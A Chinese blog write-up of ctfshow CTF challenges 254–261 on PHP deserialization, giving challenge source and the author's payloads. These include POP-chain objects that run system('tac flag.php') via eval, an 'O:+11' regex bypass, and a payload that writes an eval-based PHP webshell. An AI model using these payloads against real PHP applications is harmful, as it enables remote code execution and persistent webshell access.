ctfshow web反序列化(254-261)

终于又开始做反序列化这一部分的题,希望做完这些题,能对反序列化这一块有更深的理解。

web254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;

  public function checkVip(){
    return $this->isVip;
  }
  public function login($u,$p){
    if($this->username===$u&&$this->password===$p){
      $this->isVip=true;
    }
    return $this->isVip;
  }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
    }else{
      echo "no vip, no flag";
    }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  $user = new ctfShowUser();
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
    }
  }else{
    echo "no vip,no flag";
  }
}

刚看到这一块代码,直接懵掉:怎么这么长呀!!!!硬着头皮看。其实前面这一长串对变量和函数的定义可以先不看,先看后面的代码。
在这里插入图片描述

其中

if($user->login($username,$password)){

如果user里login( u s e r n a m e , username, usernamepassword)成立,就执行下面的语句这个时候我们再去看前面关于login这个函数的定义

public function login($u,$p){
    if($this->username===$u&&$this->password===$p){
      $this->isVip=true;
    }
    return $this->isVip;
  }

就是检验user里的username和password是不是分别等于 u 和 u和 up.一旦这个成立,user的isvip就会由false变成true。接下来返回isvip的属性,即isvip是true还是false再看

 if($user->checkVip()){

再来判断user 是否满足checkvip这个函数再去前面审一下这个函数:
在这里插入图片描述
原来这个就是用来返回isvip的属性的。如果第三句成立,那么经过这一句就会返回true.

$user->vipOneKeyGetFlag();

再去看vipOneKeyGetFlag这个函数的定义
在这里插入图片描述
意思就是如果isvip为true就会返回flag。。。综上,我们只需要满足第三句,就会使isvip返回true然后经过第四句返回true,再经过第五句直接输出flagpayload:

/?username=xxxxxx&password=xxxxxx

flag get!!!

web255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

乍一看和上一个题长得差不多,仔细一看,下面多了一句:

$user = unserialize($_COOKIE['user']);

就是对user做了一个反序列化的操作于是我试着构造了一个这样的flag:

?user=o:4:'user':2{s:8:'username';s:6:'xxxxxx'';s:8:'password';s:6:'xxxxxx'}

然后我把这一串加到cookie里,结果加都加不上去,开始怀疑。看了群主的视频,顿时感觉错得太离谱了。正确思路:cookie传的值肯定是要对类进行序列化后的字符串,这个是没问题的。但是应该新建一个本地php文件测试一下,把上面的类的代码粘贴上去。需要注意的是1.new的是类:ctfShowUser而不是user。2.这里是需要进行url编码的,只有这样cookie那一栏才能识别!3.上面的login函数发生了改变,即使username和password是和我们定义的public变量相匹配,也不会返回isvip为真。所以我们要给它手动改为true。
在这里插入图片描述

在这里插入图片描述
剩下的代码是和上一个题是一样的,payload还是

?username=xxxxxx&password=xxxxxx

cookie的设置。
在这里插入图片描述
flag get!!!

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

if($this->username!==$this->password)

这个相比上一个只是多了一个要求,username不能和password一样,但是还是要满足username和声明的public变量一样。所以我们把public变量的内容改一下就行了。其他的步骤和上一个题一样。没做出来的原因就在于,我以为public变量的内容是固定的,不能改。

web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

老样子,先审源码。相比上一个题。ctfShowUser这个类多了一个$class变量并且它的初始值是‘info’可以看到,;info;是下面定义的一个类,但是这个对得到flag没有任何帮助。然后注意到下面还有一个backdoor类。调用这个类的时候会有一个code变量,并且我们可以控制这个变量。后面也有一个eval执行code这个变量的内容。这个应该就是突破点。本地执行下面

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
    private $code='system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));
?>

生成

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

添加到cookie中,get传参:username=xxxxxx.password=xxxxxxflag get!

web258

<?php
  error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这个跟上一个题也是大同小异,只不过后面多了个pregmatch正则匹配,这里的[oc]就代表是正则表达式。正则匹配:用来描述或者匹配一系列符合某个句法规则的字符串的单个字符串,简单说,就是我们写个模板,然后去匹配字符串。/d 表示:匹配一个数字字符,等价于“[0-9]”+:匹配前面的子表达式一次或者多次,如“xu+”这个表达式就能够匹配“xuu”和“xu”,但不能够匹配“x”/i:不区分大小写。这个就是过滤了o或者c:数字。先本地测试

$a=serialize(new ctfShowUser());
echo $a;

得到:

O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;s:5:"class";O:8:"backDoor":1:{s:4:"code";N;}}

发现第一个o:11和后面的o:8会被过滤。绕过过滤可以在冒号后面加上个+。至于为什么加上+能绕过过滤,听群主说好像跟反序列化的c语言底层逻辑有关。

$a =serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);

然后,username和password随便传。flag get!

web259

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这个比较简单,就是传进去的ctfshow这个参数,如果对他进行反序列化以后,里面如果有ctfshow_i_love_36D,这一段,就输出flag。那么我们直接构造

O:1:"A":1:{s:4:"user";s:18:"ctfshow_i_love_36D"}

直接get flag!

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

看一下这个题目的源码,涉及到以下几个魔术方法。

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

这里我们主要看__destruct方法,,如果code的值等于0x36d,这里没有加单引号,所以表示的是数值,0x则表示是十六进制,就等于877然后这里是弱等于,所以我们再在后面就上.php甚至加上一句话木马也是可以的。然后后面有个file_put_contents。把字符串写入文件中。本地构造

<?php
class ctfshowvip{
    public $username="877.php";
    public $password='<?php @eval($_POST[a]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

在这里插入图片描述
然后蚁剑连接,发现:flag_is_here,打开得到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

R3ality

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值